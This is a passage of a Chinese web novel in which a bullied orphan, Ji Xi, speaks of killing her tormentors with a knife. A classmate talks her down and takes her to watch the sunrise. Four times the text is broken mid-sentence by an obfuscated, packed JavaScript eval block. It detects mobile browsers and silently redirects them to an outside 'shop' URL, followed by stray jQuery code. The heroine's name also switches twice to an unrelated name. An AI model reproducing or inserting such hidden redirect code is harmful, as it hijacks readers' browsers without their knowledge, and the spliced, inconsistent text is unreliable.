“其实，我并不是需要你保护的温室花朵。” “我是黄土路边最顽强的杂草，是滔滔江水里最坚硬的礁石。” 程景逸轻顿。 季希微笑着把一直背在身后的左手伸出，将长长的袖子掀开，露出里面的刀鞘。 程景逸惊讶：“你藏了一把刀……” 季希将衣袖放下，重新将手背在身后。 “现在，你觉得我上天台是准备干什么呢？” 季希的眼神像一张网慢慢收紧，而程景逸被这张网勒得险些喘不过气来。 她仿佛变了一个人。 这变化让程景逸惊讶，更让他心痛。 程景逸一把将季希的手从她身后扯出，要抢那把水果刀。 季希本不愿给，但是男女的力气到底还是有差异， 刀终究还是到了程景逸手上。 这刀不算大，程景逸拿着却彷如有千斤重。 瞧着季希的神色，程景逸强颜欢笑地活跃气氛：“还行，还算知道要带刀鞘。” 22. 愿卿磊磊沧浪行 季希：“程景逸，你多次救我，我心里万分感激。包括现在，我知道你是关心我，我都明白。” “你是我来一中读书后遇到过的最好的人，认识你我很高兴。” “正因如此，我不愿瞒你。” “坦白地说，林晶她们这么对我，我受够了。” “她们一而再、再而三地作践我、要挟我。纵使我孤身一人、无依无靠，可我难道就不是人吗？我难道就没有作为人的尊严吗？” “她们这一世投了个好胎，金樽玉食，家世显贵。这一点我不如她们，我认了，只当是因为我上辈子造孽，这辈子才这般孤苦。可即便她们有天大的福报，也不该这般无法无天地作恶，成天作威作福地糟践他人。” 季希越说越气，胸腔里仿佛有千万顷岩浆在奔涌。 她的眼底慢慢蓄积起汹涌的恨意，就像是水中的漩涡，越卷越大。 “事情到今天这个地步，不如一了百了，大家一起毁灭。” “白刀子进，红刀子出，大家索性一起去见阎王。” “世上的人向来都拜高踩低、颠倒黑白，指鹿为马者更是比比皆是。你知道这是为什么吗？”季希伸出手指点着程景逸的心口，狠狠道，“那是因为这些人的脑袋上空有两个装钱的窟窿，却都没有心。” 季希眼中的暗流依旧，面上的怒容却渐渐收起。 她勾起唇角，露出一抹阴森的笑意：“我想，如果人死了，应该就不会只用窟窿看人了吧。” “人死了就都一样了。” “林晶她们不是向来自诩高人一等吗？我倒想看看，到了阴曹地府，她们这些横行霸道、恶贯满盈的人，阎王判官会放过她们吗？” “如果不放过，应当让她们下辈子变成门槛被千万人踩踏，才能抵消她们今生今世践踏他人之罪。” “如果放过她们，我只能说，苍天无眼，这审判者不如让给我来当，我会让她们受到真正的惩罚。” “而假若这世上没有神明，人死后也并不会去冥府地狱，那样就更好了，”季希从已经呆愣住的程景逸手中拿回自己的水果刀，手指隔着刀鞘在刀刃上摩挲，“因为如果是那个样子，我就更有必要，让她们在死之前见识一番，何为真正的恐怖炼狱。” 程景逸按住季希仿佛在磨刀的手，劝道：“季希，你冷静一点。” “程景逸，我很冷静。”季希笑起来，“就算你今天拦得住我，你难道能天天拦着我吗？” “只要我一日还活在这个世上，我就必然要让她们付出代价，不死不休。” “我，季希，此生此世必定要让这些人知道，我即便是路边的杂草，也是带着毒液的食人草，不是她们可以随意践踏和攀折的。” “我是江中礁石，生来就和风浪在一起。风浪无法将我击垮，其冲刷只会让我变得更加锋利。” “那些人乘着画舫游艇而来，她们攻击我的时候，受伤的不会是我。” “人仰船翻，舟毁人亡，这是我为她们准备的结局。” 程景逸想要劝阻她：“你错了，水滴石穿听过吗？礁石也会因水流侵蚀和风化而断裂。” 季希：“那又如何，我不在乎。” “我在乎。”程景逸皱眉，“你要知道，你这根本就是两败俱伤的法子。” “如果真的白刀子进红刀子出，你觉得你还能全身而退吗？” “季希，为了她们赔上你自己宝贵的生命，值得吗？” 季希压抑的声音响起，字字泣血，敲打着程景逸的心。 “我以前觉得不值得。” “我想读大学，我想学文化，我想未来能够自食其力地好好在社会中当个有用的人。” “所以我一直在忍耐。” “可弓弦绷得太紧都会断，更何况是人。我的忍耐力是有限度的。” “如果世界是一片大海，每忍一次，我的身体就下沉一点。” “忍过这么多回的我，现在就处于被淹死的边缘。” “你觉得，我还应该忍下去吗？” 面对这个问题，程景逸不知道该如何回答。 继续忍耐吗？ 忍耐是为了等待未来，可人顷刻之间就要被淹死，又哪里来的未来？ 那么，不再忍下去，果断雷霆出击？ 可那是可以预见的两败俱伤的结局。 杀敌一千，自损八百，还得赔上自己的未来，这又是何苦呢？ 是进也为难，退也为难。 当真难选。 这一刻，程景逸站在季希的角度，设身处地想了许多。 他伸出手，很想给季希一个温暖的拥抱。 可最终，程景逸也只不过是将手轻轻在季希的肩膀上拍了拍，叹道：“真是苦了你了。” 正所谓，未经他人苦，莫劝他人善。 程景逸无法指责季希想要疯狂报复林晶等人的心理。 可他更不能就这样眼睁睁瞧着季希一步一步地走入深渊。 屠龙少年，终成恶龙。 有些路，一旦走上，就再也无法回头。 季希冷笑一声道：“看吧，‘继续忍下去’，虽然这句话就只有这么简简单单的五个字，但是你也觉得说不出口吧。” “这是为什么呢？” “因为她们做的压根儿就不是人事儿。” 程景逸难以反驳。 季希摇头道：“我觉得我不该忍下去。” “事实上我也根本忍不下去。” “人活一口气，如今我拼着这个书不读、这条命不要，我也必须将这口恶气出了。” “否则我根本活不下去，在被她们折磨死之前，我会先被自己的恨意吞噬。” 季希倾诉完心底这些最隐秘的仇恨，痛快的同时，蓦地望进程景逸的眼里。 季希陡然一惊。 少年心痛的眼神让她感到十分不适。 她转过眼，看向一旁，将心底的失落藏进冰凉的语气当中：“听到这些，你感到很惊讶吗？” “可这就是现在最真实的我。” “程景逸，如果你觉得自己看错了我季希，你觉得自己帮错了人，那你趁早赶紧走吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577973|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “以后，你走你的阳关道，我过我的独木桥。” 瞧着女孩儿决绝的侧影，程景逸心中微痛。 透过季希，他仿佛看见自己早已香消玉殒的妈妈。 他不想见到悲剧重现。 “季希，我知道这不是真正的你。”程景逸顺着季希的目光挪动步伐，又站在季希面前，认真道，“你是个善良单纯的好人，而好人不该被逼到这个地步，好人也不该非得以命相搏才能求得一个公道。” 闻言，季希眼皮轻颤。 直到手心被她自己攥得生疼，这才恍然回神。 半晌，她自嘲道：“我到底是不是个善良单纯的好人，这还真不好说。” 程景逸想说话，被季希拦住。 季希眸光深深，继续道：“但我自认为，我绝对是一个再安分守己不过的老实人。” “一直以来，我木讷，我内向，我怯懦，我本本分分。” “但是总有一些人，她们以踩踏别人的尊严为乐，以此来彰显自己的存在感和价值。” “我常常疑惑，怎么会有人这般自以为是。” “既然她们不把别人当人看，那么，当她们把老实人逼急之后，就得承受老实人的怒火与复仇。” “因为，所有人都得为自己的行为负责。” “她们受到惩罚，让人们知道这个世上还有公义可言，这就是她们最后的价值。” “那报仇之后呢，你想过吗？”程景逸问道，“假如你成功复仇了，将你的怒火发泄出来，之后你要做什么呢？” 季希：“我不知道。可能……就去我该去的地方吧。” 至于是哪里，两个人心知肚明。 她来审判林晶等人，之后，自有法律来审判她。 程景逸的个头比季希高出许多，他稍微俯身，和季希平视：“季希，你的一辈子还很长很长。” “你还有蓝蓝的天可以看，有四季的风景可以赏，你还有那么多美好的事物可以享受。” “不要为了这些渣滓放弃未来，不要因为别人在你身上施加的不公而让自己受到惩罚。” 觉得程景逸靠得有些近，季希不自在地一把将他推开：“你说的倒是轻巧。” 程景逸全神贯注地注意着季希面上的情绪变化，便没看见季希的手上动作，猝不及防间被季希推地向后趔趄，撞在二人身后的一棵梅树上。 一瞬间，满树的梅花如冬雪一般摇曳着飘扬而下。 其实程景逸撞在树上的这一下真得有点重，不然也不会把满枝花瓣撞得如同漫天花雨般落满二人的肩头。 但程景逸生性潇洒随性、洒脱飘逸，他瞧着这般美景，索性也不起身，直接坐在树下。 季希见状，懊悔自己用的劲儿太大，忙上前想要拉起程景逸。 她伸出手递在程景逸面前，关心道：“你没事吧？” 程景逸对这点疼并不在意。 不过，他瞧着面前这只女孩子纤细的手，突然对着季希晏晏一笑。 季希的手僵在程景逸专注望着她的温暖视线中。 23. 愿卿磊磊沧浪行 程景逸很少露出这样的笑意。 此时的他，笑容里带着点平日见不到的顽皮与戏谑。 这样的角度也是少有的。 程景逸半屈着一条腿坐在地上，后背靠着树干，仰头看着站在面前的她。 季希俯视着这样姿态的少年，被这笑容闪了眼，怔愣间便被程景逸一把拉住，往草地上跌去。 她不及防备，一下子便摔坐在草地上，好在泥土松软，倒是没有摔得很痛。 而且程景逸很细心，一只手还护在她的脑后，以防她撞到脑袋。 但是季希还是颇为羞恼，她甩开程景逸的手，控诉道：“你干嘛？程景逸，我以前怎么没发现你这个人这么睚眦必报？” “先别生气嘛，”程景逸拾起飘落在季希头发上的一片梅花瓣，放在鼻端轻嗅，笑道，“季希，你闭上眼，闻闻这空气中梅花清幽扑鼻的香气，是不是沁人心脾？” 季希本不想照做，奈何程景逸十分坚持地看着她，她只得依言闭上眼，深深吸气。 程景逸的声音温润清和：“现在，缓慢呼吸，静下心来。” “是不是有浅浅的香气入鼻？尝试感受这种清幽、冷峻、孤寂。” “这清寒幽逸的香味萦绕于你的周身，想象你现在就置身于雪后孤山中，流瀑冷泉旁。” “季希，这样美好的世界，你就真的没有丝毫留恋吗？” “这样的所谓美好都是人幻想出来的，都只是镜花水月。”季希倏地睁开眼，她闷闷道，“你这种天之骄子根本就无法真正和我感同身受。” “你能想象吗，这个世界就从未向我展示过美好的一面。” “每次我以为的突然幸运，最终都会发现，那并不是幸福的开始，而是苦难的开端。” “我长这么大，我的人生底色就是苦痛，何来享受美好可言呢？” “那有什么事情是能让你开心的吗？”程景逸问道。 “你说什么？”季希没听清楚。 或者说，她根本没听明白。 程景逸眼神清亮，他站起身，将季希也拉起来，拍掉两人身上的灰，然后对季希说道：“你跟我来。” 假山高处有一座凉亭，程景逸带着季希拾级而上，来到亭中。 程景逸指着栏杆外的冬日景象道：“站在这里，有什么感受？” 季希眼里一片漠然：“没什么感受。” 程景逸：“你觉得这个景怎么样？” 季希依旧冷淡：“不怎么样，很萧瑟。” “你看那远处宁静的湖水，近处清幽的腊梅，还有这高低错落、与亭台相映成趣的假山，”程景逸一面说、一面为季希指着提到的景物，“瞧见这些，你难道不觉得，即便现在是岁暮天寒、冷风呼啸，也让人从心底生出一种愉悦？” 季希按照程景逸的描述去细细感受，良久，她摇头，颇为惆怅道：“怎么办，我好像已经不会快乐这种情感了。” “季希，”程景逸，“你想复仇，我不拦你。但是你一旦走上那条路，就不再有回头的机会，你的人生可能就此陷入灰暗。” “还记得我和你说过的话吗？生命存在的本身就是价值。” 季希内心微动。 程景逸坚定又温暖的眼神让季希有些不自在地将目光从少年的脸上转移到远处的风景。 “你即便失去了许多，或者换言之，哪怕你一无所有，”程景逸继续道，“可你还拥有着最宝贵的东西，就是你生而为人的生命。” “在你作为一个宝贵的生命存在于世间的时候，却没有感受过这个世界的美好。即便你最后成功报仇，临死之前也会很遗憾吧？” 一只飞鸟从假山前的梅林中飞出，瞧着那只鸟儿在空中越来越小，最终变成一个黑点儿，季希低声道：“也许会吧。” 她不愿再看，转过身在亭中的石椅上坐下。 程景逸顺势坐在她身边，劝道：“你刚说这些美好都是幻想出来的美好，不是真正的美好。那我带你去看看真正的美好怎么样？” “林晶她们一直在一中读书，又跑不掉。你既然已经决心要让她们付出代价，又何必急于一时？” “在那之前，我先带你找回快乐，好不好？” 季希望着程景逸，一时竟不知道该说些什么。 程景逸起身走到栏杆边，示意季希看向亭下的重重花影。 那是如云似雾、暗香浮动的梅林。 “瞧瞧这些梅树，凌霜斗雪。刺骨寒冬虽侵蚀梅花，却也成就了梅花独一份的傲骨与美丽。”程景逸注视着季希，“我们人活一世，难道还不如这些草木花卉吗？即便是赴死，也该潇洒快意，何必这般苦大仇深。” 季希：“你这话听起来怪怪的，像是在变着法子的说我在找死。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577974|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “原来你听出来了？”程景逸轻笑，“你就说我说的有没有道理吧。” “虽然是歪理，但是意外地有理。” 季希郑重道：“反正都要死了，在灭亡之前我想找回我的快乐。” *** 接下来的几天，程景逸每天都会在季希上学和放学时陪她坐公交。 看着准时出现在福利院外以及教室外的程景逸，季希也实在说不出拒绝的话，也就默许了程景逸的这一行为。 林晶本来想找季希麻烦，但是因为程景逸盯得实在太紧，她竟然一直没有找到机会，只得作罢。 转眼期末考试结束，寒假来临。 季希惊心动魄的高一上学期，就这样结束了。 假期的第一天。 一大早，天尚未亮，季希还在睡梦之中。 电话铃声响起。 季希在福利院住的是两人寝，自从另一个同寝的小伙伴被领养之后，她这间寝室便只住着她一个人。 季希惊醒，她连忙从床上爬起来，拿起电话听筒：“喂？” 电话另一端意料之外地传来清朗的男声：“季希，是我，程景逸。” 季希拉开窗帘，窗外墨黑色的天幕昭示着现在的时间。 她打开台灯，拿起摆在桌上的闹钟仔细地瞧了瞧，纳闷道：“程景逸，才凌晨四点钟，天都还没亮，你打电话有事吗？” 讲到这里，她幽幽道：“你不用睡觉吗？难道这就是学神的自我修养……” 程景逸：“不好意思，打扰了你的好梦，不过你快看下院子外面。” 感觉到程景逸的话语间似乎带着笑意，季希心里也隐隐有了期待：“怎么神秘兮兮的。” 她套上外套，拉开宿舍门，站到走廊边，伸长脖子眺望。 远远的，季希瞧见有人站在福利院外。 他身后的车灯大亮，在夜色中格外显眼。 正是程景逸。 季希的脸上满是不可思议和惊讶，她连忙进屋，重新拿起听筒：“这么早，你怎么来了？” 程景逸：“今天开始放假了。” 季希不是很明白：“所以呢？” 程景逸的声音里透着坚定和让人安心的力量：“你不是想在灭亡之前找回快乐吗？” “那么，从今天起，我会带你去找寻到独属于你的快乐。” 24. 愿卿磊磊沧浪行 听见这话，季希不觉之间，心头恍若撞鹿。 “找快乐？”她喃喃道，“可是……这天都还没亮呢……” “等到天亮就晚了。”程景逸在电话那头哑然失笑，“快收拾一下吧，季希同学，今天的日程安排是——登山和看日出。” “我需要带什么呢？太突然了，我完全都没有准备……”季希迟疑道。 程景逸的声音带着稳重和安全感：“你什么都不用带，把你自己带上就行，其他的交给我。” 挂电话之前，程景逸叮嘱道：“别穿太厚，爬山会很热。” 季希知道程景逸一直在院外等着，所以她迅速地洗漱，然后给院长妈妈留了一张和同学出去玩的纸条，背上自己的小包便准备出门。 临走前，她又回到屋内，从抽屉里翻出自己的小钱包。 季希跑到福利院门口，程景逸为她打开后座的车门。 程家的司机一路驱车将程景逸二人送到云苍山脚下，然后便离开。 两人就这样开始了今天的登山看日出之旅。 程景逸打着手电筒，背着背包走在前面，季希跟在他身后。 山道上偶尔也有来看日出的登山者三三两两的结伴而行。 只是他们脚程颇快，很快就超过二人，爬到高处。 程景逸照顾着季希的速度，渐渐走得慢些。 季希察觉到程景逸放慢了脚步。 虽然有些累，她强撑着加快速度，和程景逸并排而行。 山中寂静，只闻冷风呼啸穿过树林。 道上并无路灯，全靠程景逸手中的手电筒照明。 也不知暗处没被照亮的地方藏着些什么动物。 季希有些害怕，悄悄地朝程景逸的方向更靠近了些。 程景逸看向她，以为她要说什么。 季希不想让程景逸觉得她胆小，便找话题问道：“看日出有很多地方，你为什么选择来爬山呀？” 程景逸：“你那天拿着刀到顶楼，不是曾经说过，因为心情不好所以想站在高处看一看。” 季希：“那是不想被你知道我去见林晶，所以瞎编的理由啊。” “好吧，那我换个说法。”程景逸无奈，“因为爬山可以爬一天。” “云苍山很大，白天我们可以在山上的各处景点好好逛逛。” “另外，除了看日出，还可以看日落。” “而且爬山的过程不仅锻炼身体，还能聊天说话。简直一举多得。” “……” 程景逸一边说一边向上走，但是身后却渐渐没声。 他扭头，看见季希停在一级台阶上喘气。 程景逸几个跨步走到季希旁边，关心道：“怎么了？” 季希不好意思道：“有点走不动了。” 程景逸：“咱们这还没爬到二分之一的路程呢。” 他将手伸到季希面前：“来，我拉你。” 季希不愿程景逸因为自己脚程太慢而错过日出，犹豫一番还是将手搭在程景逸手上。 程景逸：“你手怎么这么凉？” 季希：“刚刚出门太急，我忘记戴手套了，帽子和围巾也没拿。” 闻言，程景逸挑眉：“等着啊。” 他取下背包，从包里拿出一双粉色的手套递给季希。 季希看到这颜色，惊讶道：“你怎么会用这种粉嘟嘟的手套？” 程景逸：“昨天专门去商场买的。” 季希：“难道是给我买的？” 程景逸点头：“嗯。” 季希：“你难道会未卜先知吗，怎么知道我会忘带这些冬天必备品？还是你已经对我丢三落四的毛病有了一定的了解……” 程景逸：“以防万一嘛，准备周全一点总是不出错的。” “谢谢。”季希低头，小心翼翼地将双手分别塞进手套中。 这时，她突然感觉头上一暖。 季希抬头，想要将头上的帽子取下来，被程景逸拦住：“别呀，毛茸茸的，你带着多可爱呀。” 季希想要拒绝的话语一滞。 程景逸上下打量着季希头上的堆堆帽，赞道：“真不错，又暖和又好看，不愧是我选的。” “其实我本来还给你买了围巾，但是我想着爬山肯定很热，而且包里塞了很多好吃的，实在装不下了，所以就没带。” “总共花了你多少钱呀，我给你。”说着，季希便准备找钱包。 程景逸：“没多少，你不用给我。” 季希执意要给程景逸钱：“这怎么行？” “说起来，”程景逸，“季希，其实我还有个事情想请你帮忙。” 季希实实在在露出困惑的表情。 这可是程景逸，他会有什么需要自己帮忙的事情呢？ 他怎么会有需要她的时候呢？ 程景逸：“寒假我想锻炼身体，但是邵平风回老家了，就我一个人，没人陪我。要不你给我当陪练吧。” 越想越觉得可行，程景逸提议：“寒假里，我带你出去找快乐，你给我当陪练，怎么样？这样咱俩之间就不谈钱的事了。” 季希：“那你岂不是很亏？” 程景逸：“怎么会，陪伴是很重要也很珍贵的行为，你付出的也很多。” “不过，如果你这么实诚，实在觉得愧疚的话，那就多陪我运动吧，可千万别在我早上喊你出来跑步时赖床不起来哦，那样我会生气的。” “你放心，虽然我不是很喜欢锻炼，但是你都这样说了。”季希咬咬牙，承诺道，“如果你能坚持的话，我就舍命陪君子。” “刚好在放寒假，咱俩都有时间。以后每天我陪你锻炼身体，你陪我找快乐，挺好。” 程景逸：“那可就一言为定。有我在，经过这个寒假，你一定脱胎换骨，你肯定可以找回快乐的。” 两人一边爬山一边聊起天来。 季希感慨：“程景逸，没想到你这么细心，感觉你真的很会照顾人。” 程景逸：“你不知道吧，我其实有一个妹妹。她才读小学，正是人嫌狗厌的年纪。我爸平常很忙，我哥在外地读大学，平常照顾她的任务就在我身上。所以我可能照顾妹妹习惯了。” 季希：“真羡慕你妹妹。” 程景逸：“为什么？” 季希：“因为她有你这样一个体贴的哥哥。” 程景逸：“你有我当朋友也很不错呀。我会像照顾我妹一样照顾你的。” 程景逸一边说话一边爬山，毫不费力。 可季希一边上山一边说话就有些力不从心。 程景逸拉着季希前行，这样季希就可以省些力气。 两人终于这样一路搀扶着爬到山顶。 季希松开程景逸的手，蹲在台阶边喘气。 程景逸将季希拽起来，打趣道：“别在这儿蹲着，小心像皮球一样滚下去。” 季希抿着唇打了程景逸的胳膊一下：“你是不是常常这样逗你妹妹。” 程景逸忍俊不禁：“是呀。所以就可以看出来，你脾气比她好哈哈，要是我妹，肯定要气呼呼，就更像一个让人想要去戳的皮球了。” 季希：“你们两个相处肯定很有趣。” “这倒是没错，不过一般都是我比较开心，妹妹总是很无奈，觉得我很幼稚，”程景逸笑着把季希带到山顶的草坪，“你看，这边就是云苍山的观景台，山顶的这一片草坪非常适合看日出。你在这儿休息一会儿。” 见季希准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577975|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备直接坐在草地上，程景逸忙道：“对了，你先等等。” 说着，他将背包取下，从中拿出一块印花装饰的野餐垫：“来，搭把手。” 季希帮着程景逸将线毯在草地上铺开：“好漂亮，摸着质感好好，就这样直接铺地上好可惜。” “东西就是使用起来才有价值，”程景逸将四个角铺平，然后示意季希，“现在可以坐啦。” 季希坐在毯子上，却见程景逸不知低头在包里翻着什么。 她拍拍身旁的位置：“你怎么不来坐呢？” 程景逸：“就来了。” 季希起身，走到程景逸身边，接过他手里的手电筒，为他在一旁照着。 程景逸最终从包里拿出两个很大的保温餐盒：“这样干等着多无聊，不如咱们一边吃一边等。” 程景逸拎着两个保温盒和季希一起面对着远处的群山并排坐下：“来，这个粉色的是你的，蓝色的是我的。” 季希恍然大悟：“怪不得你背这么大一个包，原来里面装着这么多东西。你这一路背上山，真是辛苦了。” “快打开看看，”程景逸解释道，“我想着现在毕竟是冬天，咱们坐在这里等日出，多少还是有点冷，所以就让家里阿姨做的汤面。是家常口味，不知道你喜不喜欢吃。” 季希打开餐盒，热气腾腾的高汤香浓鲜美，美味扑鼻。 她重重点头：“我可太喜欢了，谢谢你还给我准备早餐。” “我真的是就只带了个人上山，”季希有些不好意思，“早知道你背了这么多东西，刚刚你应该分一点给我拿的……” 程景逸摆手笑道：“没事，只要最终能吃到嘴，谁拿都一样。” 他递给季希一双筷子：“既然喜欢，那就快吃吧。幸好咱俩走得还不算太慢，面还没坨。” “太香了，”季希先喝了一口汤，“你放心，就算坨了我也肯定会吃光的。” 就这样，两人并排坐着，一边吃着面，一边等日出。 此时天幕已经不再是完全漆黑的模样。 天边慢慢泛起鱼肚白。 远山的尽头，是此刻天地间的唯一亮色，那一线天光是如此璀璨。 既不忍心错过日出的任何一个瞬间，也不愿意浪费掉程景逸专门带早餐上山的心意，季希只能飞快地将保温盒里剩下的面和汤全部吃掉。 程景逸见季希的脸都快埋进保温盒里，笑道：“如果不够的话，包里还有其他点心，足够我们今天在山上一天所需，你还想吃点别的吗？” 季希摇头：“不了，今天早餐吃得很好，太满足了。” 她将饭盒盖紧，放在野餐垫的一边，然后便坐好，专心致志地盯着天际的那抹银白长线。 瞧着整片天空渐渐从灰蓝、黛蓝、青蓝一点点自下而上地渲染到橙红，季希的心仿佛也随着苍穹的颜色慢慢发生变化。 万丈霞光之下，雄伟连绵的群山逐渐被点亮。 晨雾尽散，石壁熠熠生辉。 万壑千岩都在人眼前变得清晰。 就在这样令人心神激荡的时刻，旭日东升。 季希看见漫天的红云之中，金黄的太阳一点一点从翻腾的云海里浮出。 闪耀而又温暖的太阳，那是普照大地的存在。 仿佛无论黑夜如何漫长，只要太阳会升起，人们就能始终相信，阳光终将驱散人间所有黑暗。 这一幕的震撼，让容清洛久久失语。 这就是祖国的锦绣山河吗？ 好像她长久以来的所有郁气和愤怒，随着晨曦洒满这方天地的万物时，也都在缓缓消散。 “咔嚓”一声，将容清洛拉回现实。 她扭过头，发现程景逸正拿着一个相机对着她拍摄。 25. 愿卿磊磊沧浪行 季希怔愣一瞬。 反应过来后，她立马伸手去挡镜头，凑到程景逸面前控诉道：“程景逸，你不拍日出，拍我做什么？” “给我看一下你拍的，如果是丑照你可是一定要删除的……” 闻言，程景逸赶紧收起相机，笑着对季希说道：“日出全过程已经拍摄下来，某人看呆的模样也已经记录下，今天看日出的目标完美达成。” 说罢，程景逸还将食指和中指并拢，从额头向侧面挥出，对着季希敬了一礼。 竟然是这么俏皮的表情…… 卖萌犯规啊！ 季希只得作罢：“不给看就算了，不过你这个背包真的很神奇，怎么和哆啦A梦一样什么都有啊？” 程景逸扬眉：“不准备充分的话，我怎么敢随随便便带你出来找快乐呢？” 他把相机收进包中，又在包里翻找一番，拿出耳机，问道：“听歌吗？” 季希点头，接过一只耳机塞到左耳上。 见程景逸把另一只耳机塞进右耳，她的心里闪过一丝奇妙的悸动。 程景逸疑惑：“怎么了，没声音吗？” “有的，有声音。”季希晃晃脑袋，让自己不要想别的事情，就只是静静坐好，聆听耳边回荡着的乐曲，欣赏这片冬日清晨的美丽山峦，感受这一刻山川的旷远与天地的壮美。 季希心想，如果每个人的一生都有一次机会按下暂停键，那她一定会选择在此时此刻的当下把时光珍藏。 仿佛这一刻的人间，给了她一种她的人生也可以如朝阳初晖一般美好的错觉。 两人这样静坐许久。 天光渐渐大亮，游人多起来。 程景逸建议：“要不咱们转战下一个地方？” 季希深表赞同，把耳机还给程景逸，然后开始收拾保温餐盒和野餐垫。 程景逸要动手，季希拦住：“你休息一会儿吧，这些都是你带来的，咱们分工合作，理应我来打扫卫生。” 最终，程景逸喜提把收拾好的垃圾拿到远处的垃圾桶里扔掉的任务。 季希抱着程景逸的背包站在原地等他回来。 百无聊赖之际便开始盯着对面一座巍峨雄伟、耸入云霄的山峰发呆。 刚刚观看日出的时候，她的心情是雀跃沸腾的。 此刻，却不知为何，心里感觉空落落的。 也许是因为，无论这太阳再闪耀，也不会属于她吧。 天地万物钟灵毓秀，却并没有任何一处完全属于她。 人活着，真的很渺小。 是否有一天，她也能如这高山一般巍然屹立于人世间？ 程景逸扔完垃圾回来，喊了几声季希，她却没有反应。 程景逸走近，将手放在季希面前闪了闪。 季希回过神来：“你弄好了？” “嗯，”程景逸接过自己的背包，“你在想什么呢，这么入神？” 季希：“没什么，就是觉得站在高处俯瞰群山的感觉真好。” 程景逸：“你要是喜欢这里，说明我没选错地方。” 季希：“程大导游，接下来我们去哪儿呢？” 程景逸指着不远处的小径说道：“我刚刚在那边看到一个指示牌，仔细研究了一下，咱们其实可以沿着那条步道好好逛逛云苍山。那条线上有很多古迹，而且沿途有很多摩崖石刻，都是古代那些文人墨客、高僧名士在此处游览、隐居、禅修的时候留下的，很有观赏价值。” 季希：“好，那就往那边走。” 两人沿着蜿蜒的木栈道在山间漫步。 冬日的山林幽静怡人，寒冷的空气透着清新与宁静，这是远离尘嚣的味道。 和红杉林中穿梭飞舞的喜鹊不期而遇。 为发现石间潺潺流淌的小溪而怡然自乐。 因邂逅崖壁上跌落的悬流飞瀑而心花怒放。 这一切都让季希心醉神迷。 下午两人下山的时候，天上突然飘起飞雪。 雪花如盐粒一般漱漱而下。 漫山遍野的松柏粗壮遒劲，经霜弥茂，俨然一道天然屏障，为游人挡住呼啸的风雪。 季希和程景逸一起走出云苍山时，回望这肃穆山岭。 寒云倚峰，冷泉淙淙，雪满青山。 这胜景让人流连忘返，和她一起赏景的人却更让人沉醉。 可惜时光便如同一条一往无前的大江，奔流不息，不为谁而停留。 任季希再不舍，天色渐暗，夜幕低垂，今天的看日出和登山之行也到了该结束的时刻。 程景逸将季希送回福利院，临分别之际， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577976|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他问道：“季希，今天，你有快乐吗？” “一点点。”季希，“但是我也很疑惑。” 程景逸：“说来听听。” 季希的眉眼间满是困惑：“见到美景的当时我是很快乐的，这一点不可否认。” “但是之后就没那么快乐了。” “刚刚在回来的车上，我一直在思考，这些因为外界美景的震撼刺激而产生的快乐都是很虚浮的情绪，都是外界的情绪，都是由外向内投射出的，都不是我自己的。” “一旦脱离出那个场景，一切美好就如同幻象一般消失，真的就像是水中月、镜中花，一切都很不真实。” “最后得出的结论就是，尽管大自然很美好，但是我的生命依旧是一片无法改变的贫瘠。” 程景逸思索一番才说道：“季希，我大概能明白你的意思。” “不过我觉得有一点你说错了，你的生命并不是一片贫瘠。” “大自然的魅力无人能够抵挡。而你的生命其实也拥有独一无二的富饶。” 季希有些低落：“谢谢你的安慰。” “我不是在说漂亮话。”程景逸，“你可能没有发现，其实你是很善于思考的。” “你不耽溺于表面的幻景，很敏锐地发现了问题所在，并且非常迅速地找到了问题的根结。这恰恰说明了你生命的厚度。” 季希：“是吗？” “是的。”程景逸肯定道，“你只是需要一些时间，和一点阳光。” “再耐心一些，坚持下去，在未来的某个时刻，你的生命也会迎来繁花似锦。” 季希深吸一口气：“程景逸，你可真是太会说话了。” “今天谢谢你，虽然还没有找回快乐，但是我感觉又比以前振作了一些。” 程景逸：“找回快乐本就不是一件简单的事情，当然不可能在一天之内一蹴而就。” 